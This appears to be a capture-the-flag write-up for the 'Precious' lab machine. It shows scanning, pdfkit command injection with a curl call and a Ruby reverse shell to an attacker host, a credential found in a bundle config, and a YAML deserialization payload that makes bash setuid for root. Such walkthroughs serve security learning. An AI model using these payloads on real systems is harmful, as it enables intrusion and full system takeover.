TCP Scan

> TARGET=10.129.77.232 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
  • Found domain: precious.htb

Web Enum

> dirsearch -u http://precious.htb/
nothing

>  wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://precious.htb/" -H "Host: FUZZ.precious.htb"
nothing
  • There is only one fuction of the site, i.e, to create pdf of a provided link.
  • Trials and errors found that using this function to enum the site itself is not possible.
  • Yet, when creating a pdf for our attacker controlled site reveals a version number of the dependency used to create the pdf
# req
POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1

url=http://<attacker-ip>/

# rep
pdfkit v0.8.6

Foothold: ruby

http://<attacker-ip>/?name=#{'%20`curl http://<attacker-ip>`'}
  • We can get reverse shell using ruby
http://<attacker-ip>/?name=#{'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("<attacker-ip>",4444))'`'}
  • Now, we land the target as user ruby
ruby@precious:/opt$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

User: henry

  • Enum on local file system found henry’s password
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Nov 27 16:08 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Nov 27 16:08 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q****************H"
  • Login as henry via ssh to get the user flag

PE: root

  • Checking sudo privileges found a command that can be run as root
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
  • Reading the ruby file see the following content, which references to a dependencies.yml file
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
  • dependencies.yml
henry@precious:~$ find / -type f -name dependencies.yml 2>/dev/null
/opt/sample/dependencies.yml
henry@precious:~$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /usr/bin/bash
         method_id: :resolve
  • Upload to henry’s home directory and run the command with sudo
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
  • Then prompt the bash to get root access
henry@precious:~$ bash -p
bash-5.1# cat /root/root.txt